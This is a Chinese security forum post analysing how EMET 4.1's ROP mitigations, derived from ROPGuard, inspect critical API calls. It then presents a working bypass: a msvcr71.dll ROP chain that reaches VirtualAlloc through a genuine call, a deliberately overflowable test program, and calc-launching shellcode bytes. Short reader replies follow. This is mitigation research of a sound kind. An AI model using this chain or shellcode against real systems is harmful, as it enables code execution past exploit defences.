首页
社区
课程
招聘
[原创]绕过EMET4.1关于ROP的防护
2014-5-20 10:34 15568

[原创]绕过EMET4.1关于ROP的防护

2014-5-20 10:34
15568
绕过EMET4.1关于ROP的防护

      Emet从3.5开始引入关于ROP的防护机制,该防护机制大部分来自2012年BlueHat获奖者Ivan Fratric的作品“ROPGurad”。本文先介绍ROPGuard的工作原理以及相应的emet4.1的部分实现,再分析一种绕过ROP防护的方法,最后通过一个例子实践该方法。

ROPGuard的原理以及相应emet4.1的部分实现

      Ropguard.exe将ropguarddll.dll通过CreateRemoteThread注入到目标进程中实现rop的检测功能,核心功能位于ropguarddll.dll中。在ropguarddll.dll被加载后,先于DllMain函数,创建全局对象(ROPGuard)的构造函数被执行,如下:
class ROPGuard
{
public:
  //this code gets called when ROPGuard's dll is injected into a process
    ROPGuard() {

    //read settings
    ReadROPSettings();

    //create executable memory cache if needed
    if(GetROPSettings()->executableModuleCache) {
      InitCacheData();
    }

    //patch all critical functions
    PatchFunctions();

    if(GetROPSettings()->showMessageBoxOnLoaded) {
      MessageBoxA(NULL, "Successfully loaded ROPGuard dll into target process", "ROPGuard", MB_OK);
    }
  }
};

//ROPGuard object
ROPGuard h;

1.  其中ReadROPSettings()读取配置文件
2.  GetROPSettings()->executableModuleCache该属性的值表明是否建立可执行模块的缓存信息,出于后期检查返回地址是否位于可以执行模块内的需要,为提高效率而考量。
3.  PatchFunctions()遍历所有要保护的关键函数(根据配置文件读取)进行inline patch,核心功能都透过PatchFunction()函数实现。
…
ret = PatchFunction(guardedFunctions[i].moduleName, 
      guardedFunctions[i].functionName,
      &(guardedFunctions[i].originalAddress),
      &(patchcode[patchsizeused]));
if(ret) {
      guardedFunctions[i].originalAddress = guardedFunctions[i].originalAddress^ADDR_SCRAMBLE_KEY;
      guardedFunctions[i].patchedAddress = (unsigned long)(&(patchcode[patchsizeused]));
      patchsizeused += 100;
    } else {
      guardedFunctions[i].originalAddress = 0;
    }
…

PatchFunction函数原型:
int PatchFunction(
char *moduleName, //关键函数所在的dll名
char *functionName, //关键函数名
unsigned long *originalAddress, //关键函数
unsigned char *patchcode   //保存要被patch上的代码
);

PatchFunction()主要做以下几件事:
(1)  根据配置文件中表明的关键函数所在的dll名字以及函数名获得该函数的地址
(2)  Patch关键函数的函数头,主要内容如下:
SUB ESP, PRESERVE_STACK //抬高栈顶
PUSHAD //保存进入关键函数前的通用寄存器的值
PUSH ESP
PUSH functionAddress //保存经过处理的关键函数地址
CALL ROPCheck  //实现各个rop检测功能的入口函数
ADD ESP, PRESERVE_STACK + space taken by PUSHAD //平衡堆栈
jmp patchHeaderEnd //跳到原函数真实入口地址
…

ROPCheck函数原型:
void __stdcall ROPCheck(
unsigned long functionAddress, 
unsigned long *registers);
在进入ROPCheck时,栈分布的情况如下:

如上图,进入ROPCheck后:
framePointer = registers[2];
stackPointer = registers[3];
ROPCheck函数根据读取的配置信息判断是否执行以下调用:
(1)
CheckFunctionAddressOnStack(functionAddress, 
(unsigned long *)stackPointer);
检查关键函数地址是否直接放在栈上(位于上图preservestack所示区域),主要用来检测类似以下情况:
…
  关键函数地址    //此时eip被控制,指向这里
  0xAABBCCDD      //构造的返回地址
  Arg1
  Arg2
  Arg3
  Arg4
  …

Eip被控制,进入关键函数后
->patch header->ROPCheck
-> CheckFunctionAddressOnStack
  此时关键函数的地址位于preservestack区域,该方法则可检测出来。
(2)
CheckStackPointer(stackPointer + GetROPSettings()->preserveStack);
检查当前栈指针的值是否合理。
(3)
CFCheckReturnAddress(returnAddress, functionAddress, registers);
a.  检查“关键函数的返回地址”是否具有可执行属性(先查询是否位于可执行模块的缓存里,如果没有则调用VirtualQuery查询)
b.  检查“关键函数的返回地址”所指向的指令的前一条指令是否为call指令,该部分检测通过PrecedeByCall实现:
int PrecededByCall(unsigned char *address);
针对32位操作系统主要检测四种类型:
①if(*(address-5) == 0xE8) return 1;
针对 “call xxxxxxxx”的间接跳转
②if(*(address-7) == 0x9A) return 1;
针对 “call AAAABBBBBBBB”的直接远跳,其“AAAA”代表16位的段选择子,“BBBBBBBB”代表32位偏移。
③for(i=2;i<8;i++) 
{
if((*(address-i) == 0xFF) && (((*(address-i+1))&0x38)==0x10)) return 1;
}
针对“call [内存地址] ”,opcode为“FF15 [xxxxxxxx]”
④for(i=2;i<10;i++) 
{
if((*(address-i) == 0xFF) && (((*(address-i+1))&0x38)==0x18)) return 1;
}
针对“call far[内存地址] ”,opcode为“FF1D [xxxxxxxx]”

(4)
CheckStackFrames((DWORD *)(stackPointer + GetROPSettings()->preserveStack), (DWORD *)framePointer);
a.  检查EBP指向的进入关键函数前的栈帧底部是否位于栈中,检查该栈帧底部是否位于stackPointer的“下面”。
b.  向上回溯一定数量(根据配置信息)的栈帧,检查每一个ebp的值是否位于栈中;检查每一个返回地址是否可执行区域,返回地址所在的指令的上一条指令是否为call指令。向上回溯栈帧示意图如下:

(5)
SimulateProgramFlow(stackPointer + GetROPSettings()->preserveStack, currentFunction->stackIncrement * 4);
模拟跟踪关键函数执行结束后的一定数量(根据配置信息)的指令,只关注可以改变esp的指令(push、pop、retn等),其他指令跳过。一旦遇到retn指令,则检查1)返回地址是否具有可执行属性;2)返回地址处的指令的上一条指令是否为call指令(调用CFCheckReturnAddress)。满足以下任一条件,模拟跟踪过程结束:
①一定数量的指令模拟完
②遇到改变执行流程的指令(call,jmp等,retn除外)

(6)
检测LoadLibraryExW的参数,是否使用了SMB路径。
(7)
如果当前关键函数是“VirtualProtect”/“VirtualProtectEx”则检测第一/二个参数是否是栈地址。

接下来看emet4.1中的关于rop检测(LoadLib、MemProt、Caller、SimExecFlow、StackPivot)的部分实现。

进入关键函数(以VirtualAlloc为例),立即跳到inline-patch部分“jmp 3c960a0a”

当前栈空间和寄存器情况

进入到3c960a0a,保存进入critical function之前的信息。

跟入call emet.005a0ca6,经分析部分核心结果如下:

定位关键函数

先获取当前关键函数的地址,如这里调用rtldecodepointer后,eax=7C809AE1(VirtualAlloc的地址)。

0059F415函数以关键函数地址和原stackpointer为参数,确定当前关键函数是哪一个,如下所示:


检查关键函数是否来自call指令
默认返回地址的上一条指令的地址为“返回地址-6”

0059F0C4  FF50 20    call    dword ptr [eax+20]   ; EMET.005A7430  //检测上条指令是否是call


Simexecflow

0059EEA7   FF53 20   call    dword ptr [ebx+20]    ; EMET.005A7430
从关键函数的返回地址开始的simexecflow检测,在遇到跳转指令(retn除外)则结束该检测。在遇到retn指令时,通过VirutalQuery查看retn的目的地址是否可执行,如果可执行则继续按照执行流程取指令检查之。



检查当前stackpointer是否位于栈中

函数00593548获取栈top、bottom的值。

VitualPrtotect/VirtualProtectEx/VirtualAlloc/VirtualAllocEx的处理
检测到关键函数是VitualProtect/VirtualProtectEx和VirtualProtect/VirtualProtectEx时候,emt分别给其标记为“1”,“2”。
VitualAlloc/VirtualAllocEx 标记为1:

VirtualProtect/VirtualProtectEx标记为2:

提取参数VitualPrtotect(第1,2,3个)/VirtualProtectEx(第2,3,4个)/VirtualAlloc(第1,2,4个)/VirtualAllocEx(第2,3,5个)。首先判断需要修改的内存页面属性值,将其与0xf0进行“test”,结果不为零则表示包含可执行属性。
(PAGE_EXECUTE 0X10;PAGE_EXECUTE_READ 0X20;PAGE_EXECUTE_READWRITE 0X40;
PAGE_EXECUTE_WRITECOPY 0X80;PAGE_NOACCESS 0X01;PAGE_READONLY 0X02;
PAGE_READWRITE 0X04;…)

接着,“sete al”(将ZF标志位值置给al)

进入0059f5e5


判断关键函数是否是标记为“2”的VirtualProtect /VirtualProtectEx,如果不是则置eax=1。如果是则检查保护属性参数是否含有可执行属性(“test byte ptr[esi+c],0F0”结果非0表示含有可执行属性),如果没有jnz跳转后置eax=1,如果有则计算要修改的内存属性地址+size是否位于栈top和bottom之间,如果是则置eax=0,如果不是则置eax=1,即如下表格:


如下图005a0fce处判断eax的值,栈内则认为检测到rop行为,认定有rop行为后从005a0fd2开始后续处理,直至弹框报警。


由此可以看出emet4.1在这方面只对VirtualProtect/VirtualProtectEx做出检测是否向栈区域内存添加可执行属性,而没有检测VirtualAlloc/VirtualAllocEx。


Bypassing ROP protection of emet4.1

综述要绕过eme4.1关于rop的防护可以考虑以下两点:
1.  选择VirtualAlloc/VirtualAllocEx。
2.  必须通过call指令(来自加载的系统或程序自身的所有模块中)将控制流程交给VirtualAlloc/VirtualAllocEx。
根据Jared Demott的《BYPASSING EMET4.1》所述,msvcrt71.dll中含有如下指令,通过“call [内存地址]”调用VirtualAlloc。

由此作为绕过rop的核心方法,该方法可绕过caller、simexecflow(7c34A464处的jnz跳转指令结束该检测)、memprot、stackpivot,Shellcode的实现不通过UNC path加载dll即可绕过LoadLib,构造rop链如下:
//阶段(0) 配合之后的指令
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198
//阶段(1) edx<--eax<--esi<--esp,edx准备作为VirtualAlloc的第一个参数
"\x4f\x2f\x37\x7c"  //0x7c372f4f :  # PUSH ESP # AND AL,10 # MOV DWORD PTR DS:[EDX],ECX # POP ESI # RETN
"\x38\x05\x35\x7c"  //0x7c350538 :  # MOV EAX,ESI # POP ESI # RETN
"\x00\x00\x00\x00"  //0x00000000 :  esi = 0
"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 
          //      # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 
          //      # POP EDI # POP ESI # POP EBX 
          //      # RETN
"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141
"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可写  esi = 0x7c38b198
"\x41\x41\x41\x41"  //0x41414141 :  占位   ebx = 0x41414141
//(2)ecx<--0x7c34a459
"\x19\xc0\x36\x7c"  //0x7c36c019 :  # POP ECX # RETN  ecx = 0x7c34a459
"\x59\xa4\x34\x7c"  //0x7c34a459,  # "call VirtualAlloc"
//阶段(3) 布置VirtualAlloc的参数
"\xce\x25\x34\x7c"  //0x7c3425ce :  # PUSH EDX # OR AL,39 //edx=第一个参数
          //      # PUSH ECX # OR BYTE PTR SS:[EBP+5],DH # MOV EAX,1 
          //      # RETN    ** [msvcr71.dll] **   |   {PAGE_EXECUTE_READ}
"\x00\x02\x00\x00"  //0x00000200,  # dwsize
"\x00\x10\x00\x00"  //0x00001000,  # flAllocationType
"\x40\x00\x00\x00"  //0x00000040,  # flProtect
"\x41\x41\x41\x41"  //0x41414141,  # junk
"\x42\x42\x42\x42"  //0x42424242,  # junk
"\x30\x5c\x34\x7c";  //0x7c345c30,  # ptr to 'push esp # ret ' [msvcr71.dll] 之后跟shellcode

考虑到阶段(1),阶段(3)的rop指令会用到向[EDX],[EBP]里面读写内容,所以阶段(0)指令使得[EDX],[EBP]可读写
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198

阶段(1)使得esp的值间接传给edx,而edx在阶段(3)成为VirtualAlloc的第一个参数。另外又
考虑到在调用VirtualAlloc返回之后(7C34A45F)开始,直到(7C34A491)retn指令,如下:
7C34A459       FF15 94A0377C   call    dword ptr [7C37A094]    ; kernel32.VirtualAlloc
7C34A45F       3BC7            cmp     eax, edi
7C34A461       8946 0C         mov     dword ptr [esi+C], eax
7C34A464       75 12           jnz     short 7C34A478
…
7C34A478      834E 08 FF      or      dword ptr [esi+8], FFFFFFFF
7C34A47C      893E            mov     dword ptr [esi], edi
7C34A47E      897E 04         mov     dword ptr [esi+4], edi
7C34A481      FF05 F417397C   inc     dword ptr [7C3917F4]
7C34A487      8B46 10         mov     eax, dword ptr [esi+10]
7C34A48A      8308 FF         or      dword ptr [eax], FFFFFFFF
7C34A48D      8BC6           mov     eax, esi
7C34A48F      5E              pop     esi
7C34A490      5F              pop     edi
7C34A491      C3              retn

会涉及到[esi]、[esi+4]、[esi+8]、[esi+C]、[esi+10]的读写操作,所以阶段(1)如下的指令使[esi]可读写。
"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 
        //      # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 
        //      # POP EDI # POP ESI # POP EBX 
        //      # RETN
"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141
"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可读写  esi = 0x7c38b198



测试实例

测试程序:具有缓冲区溢出的程序
测试系统:windows xp sp3 chs
测试目标dll:msvcr71.dll
void func()
{
  char buf[8];
  //绕过rop防御机制
  memcpy(buf, rop_chain4, sizeof(rop_chain4) - 1);
  memcpy(buf+sizeof(rop_chain4) - 1, shellcode1, sizeof(shellcode1)-1);

}
int _tmain(int argc, _TCHAR* argv[])
{
  char buff[400];
  memset(buff, 0, 400);
  LoadLibrary("msvcr71.dll");
  func();
  getchar();
  return 0;
}

Rop链
char rop_chain4[]=
//(0)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //填充buffer
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]
"\x98\xb1\x38\x7c"  //0x7c38b198 ; [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **
"\x98\xb1\x38\x7c"  //0x7c38b198 ; [ebp]可写 ebp = 0x7c38b198
//(1)edx<--eax<--esi<--esp
"\x4f\x2f\x37\x7c"  //0x7c372f4f :  # PUSH ESP # AND AL,10 # MOV DWORD PTR DS:[EDX],ECX # POP ESI # RETN
"\x38\x05\x35\x7c"  //0x7c350538 :  # MOV EAX,ESI # POP ESI # RETN
"\x00\x00\x00\x00"  //0x00000000 :  esi = 0
"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 
          //    # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 
          //    # POP EDI # POP ESI # POP EBX 
          //    # RETN
"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141
"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可写 esi = 0x7c38b198
"\x41\x41\x41\x41"  //0x41414141 :  占位   ebx = 0x41414141
//(2)ecx<--0x7c34a459
"\x19\xc0\x36\x7c"  //0x7c36c019 :  # POP ECX # RETN  ecx = 0x7c34a459
"\x59\xa4\x34\x7c"  //0x7c34a459,  # "call VirtualAlloc"
//(3)  
"\xce\x25\x34\x7c"  //0x7c3425ce :  # PUSH EDX # OR AL,39 
          //    # PUSH ECX # OR BYTE PTR SS:[EBP+5],DH # MOV EAX,1 
          //    # RETN    ** [msvcr71.dll] **   |   {PAGE_EXECUTE_READ}
"\x00\x02\x00\x00"  //0x00000200,  # dwsize
"\x00\x10\x00\x00"  //0x00001000,  # flAllocationType
"\x40\x00\x00\x00"  //0x00000040,  # flProtect
"\x41\x41\x41\x41"  //0x41414141,  # junk
"\x42\x42\x42\x42"  //0x42424242,  # junk
"\x30\x5c\x34\x7c";  //0x7c345c30,  # ptr to 'push esp # ret ' [msvcr71.dll] 之后跟shellcode

Shellcode //弹出calc
unsigned char shellcode1[227] = {
  0xE9, 0x9E, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC0, 0x64, 0x8B, 0x40, 0x30, 0x85, 0xC0, 0x78, 0x0F, 
  0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xE9, 0x09, 0x00, 0x00, 0x00, 0x8B, 
  0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 
  0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 
  0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 
  0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 
  0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 
  0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 
  0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 
  0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 
  0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 0x00, 0x89, 0xE5, 0xE8, 0x55, 0xFF, 0xFF, 0xFF, 
  0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 
  0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 
  0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 
  0x78, 0x65, 0x00
};

开启dep及所有rop保护:

执行测试程序,shellcode执行成功,且emet4.1无报警。




部分参考内容:

[1] http://www.microsoft.com/security/bluehatprize/
[2]https://code.google.com/p/ropguard/
[3] http://labs.bromium.com/2014/02/24/bypassing-emet-4-1/
http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf
[4]EMET4.1 Uncovered. http://0xdabbad00.com/wpcontent/uploads/2013/11/emet_4_1_uncovered.pdf
[5]EMET User`s Guide.pdf

格式有点儿乱,贴图不是很清晰的见附件:
绕过EMET4.1关于ROP的防护.rar

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (21)
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-5-20 10:35
2
0
可以可以...
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
雨落风吟 2014-5-20 10:45
3
0
目测不错啊,找时间一定要仔细研究一下…
雪    币: 1149
活跃值: (783)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 5 2014-5-20 11:21
4
0
不错 , 看住vProtect , 看不住 vAlloc ,IE+(x)s bypass 也不行哦!
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hacknewbie 2014-5-20 13:00
5
0
ring3 的防御本来就很浅, 直接写个syscall就过了
雪    币: 1149
活跃值: (783)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 5 2014-5-20 13:05
6
0
rop  如何syscall?  求教
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
bestshow 4 2014-5-20 17:28
7
0
愿闻其详~
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
vintage 2014-5-21 21:59
8
0
emet.005a0ca6,经分析部分核心结果如下

能否讲述下 如何寻找出这些核心,而忽略掉一些其他代码的?小弟刚刚接触逆向
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2014-5-22 01:26
9
0
ding  支持一下
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
HelloCrack 2014-5-22 09:29
10
0
缓冲溢出类gs应该难以绕过,除非结合信息泄漏来利用。
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
bestshow 4 2014-5-22 10:49
11
0
触发异常,让异常接管就可以绕过
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
bestshow 4 2014-5-22 10:50
12
0
触发异常,让异常接管就可绕过GS
雪    币: 281
活跃值: (28)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
aiwuxian 1 2014-5-22 14:27
13
0
mmarh
雪    币: 1229
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
boywhp 12 2014-5-23 08:07
14
0
mark
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
isng 1 2014-5-23 10:20
15
0
mark
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
JoySauce 1 2014-5-25 12:23
16
0
mark
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ChristaNSA 2014-5-29 12:12
17
0
膜拜一下!!!顶!!!
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
李成诗 2014-5-29 17:22
18
0
待会就研究一下
雪    币: 43
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hbcld 2014-5-29 17:30
19
0
膜拜牛人
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ChristaNSA 2014-6-24 13:36
20
0
又仔细读了一遍帖子,又深刻理解了一遍,真心不错!!
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hysteriaMe 2015-4-7 17:48
21
0
图文并茂,简洁明了,通俗易懂。感谢楼主大神分享。
雪    币: 43
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hbcld 2015-4-9 23:36
22
0
现在就希望多看rop的学习资料,vm壳等学习资料
游客
登录 | 注册 方可回帖
返回